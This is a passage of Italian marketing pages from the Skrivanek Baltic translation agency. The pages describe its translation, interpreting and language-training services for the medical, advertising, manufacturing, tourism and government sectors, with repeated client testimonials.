KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità e specifici per il settore medico: traduzione, interpretazione, traduzioni autenticate, localizzazione e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional SIAMO ORGOGLIOSI DELLA NOSTRA COLLABORAZIONE CON NOTE AZIENDE E ORGANIZZAZIONI CHE SI OCCUPANO DI MEDICINA E DI SPERIMENTAZIONE CLINICA. FORNIAMO I SEGUENTI SERVIZI IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di documenti medici (epicrisi, riassunti clinici, anamnesi, esami di laboratorio, pareri medici, ecc; traduzione di documentazione farmaceutica (descrizioni di farmaci, varie forme di informazione per medici e pazienti, documentazione di controllo qualità, ecc;) traduzione di documentazione relativa alle attrezzature mediche (istruzioni per l'uso, descrizioni delle attrezzature, ecc. ); traduzione e localizzazione di articoli scientifici e siti web dedicati al settore medico e farmaceutico; formattazione di disegni e layout, compresi servizi di desktop publishing (DTP); servizi di interpretazione simultanea o consecutiva in occasione di conferenze e seminari o per comunicare con i pazienti. servizi di interpretazione in lingua dei segni per comunicare con i pazienti; corsi di lingua di vari livelli, compresa la formazione di personale medico per lavorare all'estero; e qualsiasi altro servizio di cui potreste avere bisogno. Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polacco. Il 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 linguisti professionisti e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole. Cercate un servizio linguistico? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Il settore medico e quello della sperimentazione clinica non ammettono errori ed esigono la massima precisione. Per questo, tutte le informazioni che fanno parte di questi ambiti sono controllate diverse volte per garantire precisione e chiarezza. Tra le tipologie di traduzione, quella di testi medici è sicuramente una tra le più difficili, perciò è affidata a specialisti certificati. Di fatti, il team di Skrivanek che si occupa della traduzione di testi di carattere medico è composto da dottori, o comunque da individui con un’ istruzione medica di livello universitario, con esperienza in filologia e con un eccellente conoscenza della propria lingua madre. Quando lavorano con testi medici, i traduttori e i redattori sono pienamente consapevoli delle responsabilità che derivano da traduzioni imprecise o non curate. I linguisti specializzati di Skrivanek garantiscono accuratezza e un preciso rispetto delle scadenze. Siamo certificati secondo le norme ISO 27001 e ISO 17100. Inoltre, garantiamo la massima riservatezza delle informazioni affidateci, le quali non saranno divulgate a terzi. Che abbiate bisogno di tradurre brochure di marketing di diverso tipo, cartelle cliniche di un paziente, documentazione relativa a studi clinici, ma anche altre tipologie di materiale scritto; o se cercate servizi di interpretazione per conferenze e altri eventi, potete contare su Skrivanek. Vi garantiremo il miglior risultato possibile. TESTI DI CARATTERE MEDICO Precisione, cura, le ultime scoperte scientifiche, tecnologie moderne e responsabilità sono solo alcuni degli elementi più importanti che caratterizzano la medicina moderna. La medicina (latino: medicina - "trattamento", "guarigione") è un sistema di conoscenze scientifiche e un insieme di azioni pratiche finalizzate al mantenimento della salute umana. Per sua natura, la medicina è una branca della scienza legata alla salute umana. Studia il corpo umano, la sua struttura, le sue funzioni, ma soprattutto le malattie e come possono essere trattate. L'obiettivo della medicina è determinare l'origine e il decorso delle malattie, nonché la loro diagnosi, trattamento e prevenzione. Oggi la medicina è strettamente legata alle più recenti conquiste scientifiche in campo sanitario e ai vantaggi della tecnologia medica. La prima civiltà che ha studiato in modo approfondito la medicina e che ha lasciato documentazione scritta su pratiche e procedure è stata l'antico Egitto. I più antichi testi medici egizi sopravvissuti sono sei papiri. Tra il 2000 e il 1500 a. C. , la medicina egizia influenzò la medicina delle terre vicine, tra cui anche l'antica medicina greca. Dalla Grecia essa si diffuse ulteriormente, andando ad influenzare in modo significativo lo sviluppo della medicina nella civiltà occidentale. Oggi, dato il rapido sviluppo della scienza medica, della tecnologia, dei metodi di trattamento, delle pratiche e delle fabbriche farmaceutiche, sono regolarmente tenute in tutto il mondo conferenze di larga scala relative alla medicina, nonché alle attrezzature mediche e alla loro produzione. In questo modo, giovani medici studiano e si formano in diverse parti del mondo e si scambiano esperienze. Sono anche pubblicati nuovi libri di testo di medicina, datati studi e scritti nuovi articoli per condividere con tutti coloro che si occupano di medicina le ultime scoperte del settore. Questi testi sono scritti in lingue diverse, quindi la traduzione di testi di carattere medico, come quindi traduttori e interpreti di questo settore, è di estrema importanza. TRADUZIONE DI TESTI MEDICI Tra le tipologie di traduzione, quella di testi medici è sicuramente una tra le più difficili, perciò è affidata a specialisti certificati. Di fatti, il team di Skrivanek che si occupa della traduzione di testi di carattere medico è composto da dottori, o comunque da individui con un’ istruzione medica di livello universitario, con esperienza in filologia e con un eccellente conoscenza della propria lingua madre. Quando lavorano con testi medici, i traduttori e i redattori sono pienamente consapevoli delle responsabilità che derivano da traduzioni imprecise o non curate. Per svolgere una traduzione medica, è necessario studiare terminologie complesse e glossari, rispettare la precisione dei testi, conoscere le ultime scoperte in ambito medico, nonché una perfetta comprensione del testo di partenza. Le aziende che lavorano nel settore sanitario, come le aziende farmaceutiche, le organizzazioni che si occupano di ricerca clinica e le aziende produttrici di attrezzature mediche e chirurgiche, fanno grande affidamento sui migliori fornitori di servizi di traduzione per essere sicuri di avere contenuti coerenti e accurati. La traduzione medica consiste nella traduzione di diverse tipologie di documenti: materiali didattici, bollettini medici, descrizioni di farmaci, ecc. , ma anche traduzioni per il personale sanitario e per i pazienti. Inoltre, necessitano traduzione anche le istruzioni per l’uso di dispositivi medici, materiali di marketing, documentazione tecnica e legale. Attualmente, tutti i Paesi dell'Unione Europea richiedono alle aziende e alle organizzazioni di tradurre le descrizioni delle etichette dei dispositivi medici o dei prodotti farmaceutici nella loro lingua nazionale. Sono solitamente fisici, pazienti e autorità regolatorie locali a richiedere la traduzione di documenti relativi alla sperimentazione clinica. Oggigiorno, considerando il fatto che nel settore farmaceutico, in quello delle biotecnologie, in quello chimico e in quello dei dispositivi medici le opportunità di ricerca e di investimento sono in rapido aumento in tutto il mondo, soprattutto nel contesto della pandemia di Covid-19, la domanda di traduzione di testi medici è diventata molto urgente. I contenuti di siti web di ospedali, cliniche e policlinici, ma anche di farmacie, non sono molto diversi da contenuti di marketing o da altri contenuti pubblicitari aziendali. Per raggiungere e rivolgersi a più potenziali clienti possibile, la promozione di contenuti di carattere medico è sempre più richiesta. Di fatti, sono sempre di più i grandi istituti sanitari o società di aziende operanti nel settore medico che richiedono la traduzione del contenuto dei loro siti web i lingue diverse. In questo modo i pazienti di tutto il mondo possono navigare facilmente nel sito e avere accesso non soltanto a migliori luoghi di cura, ma anche ai medicinali e alle procedure e manipolazioni mediche più moderne e di maggiore qualità. I linguisti di Skrivanek sono specializzati nella traduzione di studi clinici e di documenti di ricerca medica, di prescrizioni di farmaci, di descrizioni, di etichette e di altri documenti da e verso tutte le lingue delle nazioni baltiche. SPECIFICITÀ DELLA TRADUZIONE DI TESTI MEDICI La traduzione di testi medici è molto difficile. È famosa la fase del traduttore medico americano con origini austriache Henry Fischbach (1921-2008), il quale disse che “la traduzione di testi di carattere medico è forse la forma di traduzione scientifica più antica e universale, in quanto l’anatomia e la fisiologia umana sono onnipresenti e uniformi” Secondo Fischbach, la domanda di servizi di traduzione e di interpretazione nel settore sanitario è continua perché, nel corso della storia, lo studio del corpo umano si è focalizzato sull’analisi di caratteristiche comuni e sulla ricerca di soluzioni universali a problemi comuni a tutte le persone del mondo. Nel caso in cui i documenti di natura medica, sanitaria o farmaceutica siano tradotti in maniera poco accurata, ci potrebbero essere delle conseguenze imprevedibili. Nella traduzione di informazioni di carattere medico e sanitario, non è tollerato né l’uso della traduzione automatica né l’errore umano. Infatti, per tradurre questi testi si utilizza un linguaggio scientifico che deve essere privo di emotività e che non deve contenere traccia del giudizio dell’autore; ipotesi e approssimazioni non sono ammessi. Ed è per questo che solo esperti del settore sono coinvolti nella traduzione di testi di carattere medico. A Skrivanek Baltic, il controllo qualità è eseguito da diverse figure. Due linguisti specializzati con esperienza lavorano con i progetti di traduzione relativi ai testi medici: uno ha il ruolo di terminologo e si occupa della ricerca e di test terminologici, mentre l’altro si occupa della traduzione dei testi. Il terminologo è responsabile per la correttezza della terminologia dell’intero progetto di traduzione e per la trasmissione di un’accurata lista di termini al correttore di bozze, che invece si occupa solo di correggere la grammatica. Naturalmente, il tono di ogni traduzione medica varia leggermente a seconda del pubblico e dipende da chi sarà l’utente finale. Quindi, se la comunicazione medica sta avendo luogo tra un esperto e un lettore che non lavora nel settore, come potrebbe essere la comunicazione tra un dottore e un paziente, o tra un produttore di dispositivi medici/medicinali e l’utente finale, allora la traduzione dovrà essere più semplice, senza l’utilizzo di linguaggio e terminologia complessi, tuttavia sempre fornendo informazioni utili al lettore/utente finale, che non è un professionista, così che anche lui possa capire la terminologia specialistica. I PROBLEMI PIÙ COMUNI NELLA TRADUZIONE DI TESTI MEDICI Il successo o l'insuccesso di una traduzione medica dipende sempre dall'accuratezza della terminologia utilizzata, nonché dal livello di conoscenza e comprensione del linguista specializzato che esegue la traduzione. Gli errori e gli ostacoli caratteristici della traduzione medica possono essere classificati sulla base dei criteri di equivalenza e di leggibilità, sull’accurato uso di eponimi, di acronimi, dell’affissazione e della polisemia, i quali sono i principali problemi stilistici e lessicali che possono creare o “distruggere” una traduzione medica. Gli eponimi medici sono termini peculiari del campo della medicina. Essi sono organi anatomici, sindromi o malattie che di solito prendono il nome dai loro scopritori o da pazienti. Dato il grande numero di termini utilizzato nell’ambito delle scienze mediche, spesso si presenta la questione della scelta tra un eponimo o un altro termine equivalente. Quindi è necessario prestare particolare attenzione all’uso della terminologia, anche considerando qual’è il termine usato più spesso. Ma il complesso vocabolario e gli aspetti tecnici non sono l’unica difficoltà della traduzione medica. Di fatti, ad essi si vanno ad aggiungere anche l’accuratezza e l’adattamento del testo al mercato di riferimento. Quindi un approccio libero alla traduzione è da escludere; è necessario seguire con precisione il messaggio del testo di partenza senza lasciare spazio alla libera interpretazione. È inoltre importante prestare attenzione all’equivalenza terminologica per evitare errori di traduzione. Se dovessimo dare una definizione specifica delle maggiori differenze tra le traduzioni di testi medici e quelle di altre tipologie di testi, le parole chiave principali sarebbero “standard” e “qualità”. I requisiti fondamentali che traduttori e linguisti specializzati devono avere per poter lavorare con testi di carattere medico sono avere esperienza pratica e conoscere la biologia, la chimica e la terminologia settoriale. Inoltre, ogni potenziale cliente di traduzioni mediche dà molto valore al fatto che quest’ultime rispettino le normative e i regolamenti, eliminando quindi il rischio di recensioni e reazioni negative. Per garantire da un punto di vista pratico, che vengano soddisfatti i requisiti qualitativi delle traduzioni mediche, sono molto importanti anche i processi standardizzati di traduzione medica regolati dallo Standard di qualità internazionale (ISO). Pertanto, per tradurre testi di carattere medico è essenziale un duplice approccio: le traduzioni devono essere rigorose da un punto di vista stilistico e terminologico e, allo stesso tempo, devono soddisfare i requisiti dei mercati di riferimento. Il vantaggio del settore della traduzione medica rispetto agli altri è il fatto che, oggigiorno, questo tipo di traduzione è richiesta dagli investitori di tutto il modo: Essendo il “turismo sanitario” oggi più importante che mai ogni azienda che vuole operare in modo efficace nel settore medico e sanitario necessita di traduzioni mediche eseguite da umani. Un servizio di traduzione medica di qualità, basato su una relazione di vantaggio reciproco tra l’istituto sanitario e il cliente, apporta benefici al settore medico, garantendo pazienti e consumatori soddisfatti. La traduzione di materiale di carattere medico, come ad esempio dettagliate descrizioni di studi specialistici o ricerche su medicinali e/o dispositivi medici, va a vantaggio sia dei professionisti del settore sanitario sia dei loro pazienti, dato che garantisce che ogni parte sia informata e fornisce nuove vie di accesso a pazienti stranieri ed investitori che sono alla ricerca di procedimenti medici e di moderni servizi finalizzati al miglioramento della salute. Nel settore farmaceutico in particolare, traduzioni mediche professionali e di alta qualità non sono mai state tanto importanti come lo sono oggi. Ciò è dovuto al fatto che, nei mercati internazionali, la disponibilità di prodotti farmaceutici provenienti dai paesi sviluppati è in rapida crescita. Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per la pubblicità e il marketing: traduzione, interpretazione, certificazione notarile. Localizzazione e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-03-26 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Si sa, usare le parole giuste può essere molto importante. A volte meno è meglio.  FORNIAMO I SEGUENTI SERVIZI PER I SETTORI DELLA PUBBLICITÀ E DEL MARKETING IN TUTTE LE PRINCIPALI LINGUE EUROPEE: copywriting e adattamento di testi creativi; traduzione di tutte le tipologie di materiali di marketing in formato digitale e cartaceo, come materiali di vendita, guide di stile, schede prodotto, campagne e-mail, ecc. ; traduzione di testi pubblicitari in formato scritto, video e audio; traduzione di slogan pubblicitari, banner, testi SEO e Google Ads; traduzione di siti web, comprese le landing page; servizi di desktop publishing (DTP); interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui seminari, conferenze e presentazioni; e qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta TRADUZIONE DI TESTI PUBBLICITARI La traduzione di testi pubblicitari è strettamente legata alla creatività linguistica dei traduttori. Soprattutto nei testi pubblicitari si dà molta importanza all'espressività, al suono, alla comprensibilità e alla stilistica. Il testo di una pubblicità è l'elemento più essenziale di come una pubblicità influenza il consumatore. I testi pubblicitari hanno un sottotesto semantico speciale; sono ricchi di tutti i tipi di mezzi espressivi artistici, i più comuni dei quali sono metafore, epiteti, iperboli, personificazioni e domande retoriche. Tuttavia, bisogna fare attenzione a non usare parole con un tono emotivamente negativo. I testi pubblicitari utilizzano spesso il modello problema-soluzione, vale a dire che la pubblicità definisce un problema e poi offre una splendida soluzione, convincendo così i consumatori della necessità del prodotto. Nel creare, tradurre e successivamente adattare i testi pubblicitari, ricordate che un annuncio non deve essere sovraccarico di testo. Il testo deve essere composto da frasi concise, precise e ben strutturate. I testi pubblicitari non devono essere ambigui o poco chiari. I traduttori devono lavorare con molta attenzione ai titoli e agli slogan di un testo pubblicitario per rivelare in modo chiaro l'essenza del prodotto, in quanto il titolo è spesso l'unica cosa che un consumatore legge. TIPI DI TRADUZIONE DI TESTI PUBBLICITARI traduzione e adattamento di testi pubblicitari; traduzioni di siti web o homepage; traduzioni di pubblicità video e audio; traduzioni di slogan pubblicitari; traduzioni di banner; traduzioni di dépliant pubblicitari; traduzioni di pagine di destinazione. CARATTERISTICHE DELLA TRADUZIONE DI TESTI PUBBLICITARI Quando si traducono testi pubblicitari, occorre prestare particolare attenzione alla forma dell'indirizzo, del poscritto e dei loro usi diminutivi. Ricordate che il testo di una traduzione non può essere percepito come disgiunto o separato dai suoi elementi visivi o audio; insieme creano un annuncio armonioso. I colori e le dimensioni dei caratteri integrano solo il sapore emotivo di una pubblicità. Quando si lavora alla traduzione di un testo pubblicitario è importante considerare le caratteristiche della mentalità nazionale del pubblico di destinazione, gli archetipi e gli stereotipi, poiché la diversità dei valori culturali può suscitare reazioni negative. È importante che una traduzione sia in grado di mantenere il sottotesto iniziale in essa codificato, ovvero il legame emotivo che trasmette la pubblicità al pubblico di destinazione. Pertanto, quando si adatta una pubblicità a una regione specifica, è estremamente importante prendere in considerazione tutte le associazioni che il testo può suscitare. Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per l'industria manifatturiera: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Solo le aziende più affidabili che scelgono con cura i partner con cui collaborare possono garantire prestazioni di altissimo livello nel settore manifatturiero. Che produciate prodotti alimentari, tessili o altri beni non di consumo, una comunicazione continua ed efficace con fornitori, clienti e partner è sempre fondamentale. Skrivanek assisterà la vostra azienda manifatturiera nella comunicazione in lingue straniere, promuovendo quindi la vostra crescita sia nel mercato domestico che nell’export. Sappiamo che avete grandi ambizioni e potenziale; una buona scelta delle parole potrà soltanto aiutarvi a realizzarli! Che stiate cercando di tradurre testi, localizzare un sito web, ottenere l'aiuto del nostro team che si occupa di desktop publishing (DTP) o ricevere servizi di interpretariato in occasione di riunioni o conferenze, Skrivanek non vi deluderà. Siamo orgogliosi del fatto che i nostri servizi siano scelti da produttori di diverse dimensioni: da piccole fabbriche a impianti di importanza strategica. Approfittate dei nostri servizi linguistici! I nostri linguisti specializzati sono esperti nella traduzione per l’industria manifatturiera. Dato che utilizziamo tecnologie di traduzione all'avanguardia, potete stare certi che completeremo anche i lavori più voluminosi nel più breve tempo possibile. I nostri esperti project manager coordinano tutti gli ordini e supervisionano la realizzazione dei progetti dall’inizio alla fine. Che abbiate bisogno di tradurre accordi commerciali, il sito web della vostra azienda, materiali di marketing o documentazione tecnica, o magari parteciperete ad una conferenza che sarà tenuta in una lingua straniera, il nostro team internazionale di traduttori e interpreti sarà pronto ad aiutarvi. FORNIAMO I SEGUENTI SERVIZI LINGUISTICI PER IL SETTORE MANIFATTURIERO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione e servizi di desktop publishing (DTP) per vari materiali di marketing in formato digitale e cartaceo, tra cui anche materiale di vendita, schede prodotto, brochure, ecc. ; localizzazione di istruzioni e descrizioni di attrezzatura; traduzione delle descrizioni e delle etichette dei prodotti; traduzione di descrizioni e specifiche tecniche; traduzione di manuali d'uso e certificati tecnici; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui seminari, conferenze e incontri di lavoro; formazione linguistica e seminari specializzati per migliorare la competenza linguistica e di presentazione dei vostri dipendenti; servizi di assistenza a rappresentanti esteri; e qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi linguistici di qualità per il settore del turismo: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Il settore del turismo è in rapida crescita e sviluppo e tutti i suoi rappresentanti vogliono trasmettere il loro messaggio in più lingue possibile. Voi siete professionisti del turismo e, come tali, sapete qual’è il modo migliore per approcciare i viaggiatori. Noi siamo invece professionisti della lingua e possiamo tradurre i vostri contenuti in più di 110 lingue. I materiali di marketing per il turismo e il materiale pubblicitario sono considerati le tipologie testuali più tradotte al mondo. È qui che conta la qualità. Avete bisogno di localizzare il sito web del vostro hotel? Oppure di tradurre la vostra brochure turistica? O magari volete adattare il menu del vostro ristorante agli ospiti stranieri? Non offriamo solo traduzioni. Sono 25 anni che i linguisti specializzati di Skrivanek forniscono servizi linguistici di qualità al settore del turismo; non ci fermiamo alla mera traduzione di testi, ma li adattiamo alle caratteristiche culturali specifiche di ogni nazione. Potete starne certi, i vostri clienti capiranno cosa avete da dire. Che abbiate bisogno di una traduzione scritta o di servizi di interpretariato in occasione di varie conferenze o fiere internazionali, il team di Skrivanek vi aiuterà a trovare la soluzione più adatta. Se invece i vostri dipendenti devono rinfrescare una lingua straniera, saranno più che benvenuti presso la Scuola di lingue Skrivanek Baltic I traduttori e interpreti che compongono il team di Skrivanek non hanno solamente una formazione filologica, ma sono anche esperti di storia, architettura, arte, moda, musica e gastronomia. Questo ci rende la migliore scelta che potete fare. Ospitalità e catering, alloggi per turisti, organizzazione di viaggi, rappresentazione di città o comuni all’estero; troveremo sempre lo specialista adatto alle vostre esigenze per garantire un servizio eccellente. FORNIAMO I SEGUENTI SERVIZI PER IL SETTORE TURISTICO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di materiale pubblicitario e di marketing (opuscoli, brochure e cataloghi) e servizi di desktop publishing (DTP); traduzione e localizzazione di siti web; traduzione di cataloghi vacanze e di itinerari di viaggio; localizzazione di audio guide e file video; servizi di interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui fiere internazionali, accoglienza di grandi gruppi turistici, seminari e conferenze; formazione linguistica specializzata; qualsiasi altro servizio linguistico di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi linguistici per gli enti governativi e municipali: traduzione, interpretazione, traduzioni notarili e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Negli enti pubblici è importante che ci sia una comunicazione rapida tra impiegati, con i partner stranieri e con il pubblico. Difatti, informazioni fornite in modo chiaro e puntuale facilitano il lavoro di enti governativi e municipali. Ed è proprio per questo che beneficerete dalla collaborazione con Skrivanek. Durante i nostri 25 anni di attività, abbiamo sviluppato una solida cooperazione a lungo termine con molti enti governativi, tra cui diversi ministeri della Lettonia, la Cancelleria di stato, il Tribunale amministrativo, l’Ufficio della procura, ma anche con altri enti governativi e municipali che lavorano con informazioni ad accesso ristretto. Inoltre, la scuola di lingue Skrivanek Baltic ha preparato i funzionari per la presidenza lettone del Consiglio dell’Unione europea. Partecipiamo regolarmente e con successo a indagini sui prezzi e a gare d’appalto. Per far sì che le informazioni arrivino a un determinato utente, esse devono essere fornite in maniera accurata, tempestiva e in diverse lingue e formati. I traduttori di Skrivanek sono in grado di redigere traduzioni in tutti quei formati necessari per il funzionamento di sistemi di gestione e per la gestione della qualità, garantendo sia il funzionamento dei sistemi IT sia la cooperazione e comunicazione con le istituzioni UE. I nostri linguisti specializzati possono anche contribuire allo sviluppo del turismo nel vostro comune fornendo traduzioni di alta qualità di materiale informativo riguardante diversi temi relativi al turismo. Inoltre, i nostri specialisti possono anche partecipare alla promozione del commercio regionale tramite la preparazione di materiali finalizzati all’attrazione di investitori stranieri. Per la comunicazione con il pubblico, forniamo diversi tipi di servizi di interpretazione. Grazie alla nostra grande esperienza, siamo in grado di redigere traduzioni necessarie al lavoro giornaliero del vostro ente, mentre i vostri impiegati possono migliorare la loro competenza linguistica presso la nostra scuola di lingue. Se state cercando di valutare le competenze linguistiche di un vostro potenziale impiegato, non c’è nulla di più semplice che farlo mediante il nostro strumento per la verifica online delle competenze linguistiche FOCUS. Inoltre, i nostri specialisti possono aiutarvi a determinare il livello di conoscenza della lingua durante i colloqui. FORNIAMO I SEGUENTI SERVIZI ALLE ISTITUZIONI GOVERNATIVE E MUNICIPALI IN TUTTE LE PRINCIPALI COMBINAZIONI LINGUISTICHE EUROPEE: localizzazione di siti web e traduzione di vari materiali informativi e presentazioni; FOCUS, il nostro strumento per la verifica online delle competenze linguistiche; servizi di interpretazione consecutiva e simultanea in occasione di vari eventi e nella comunicazione con il pubblico; corsi di lingua di diversa intensità per tutti i livelli; traduzione di contratti, leggi e materiale legale; altri servizi di cui il vostro ente potrebbe avere bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di 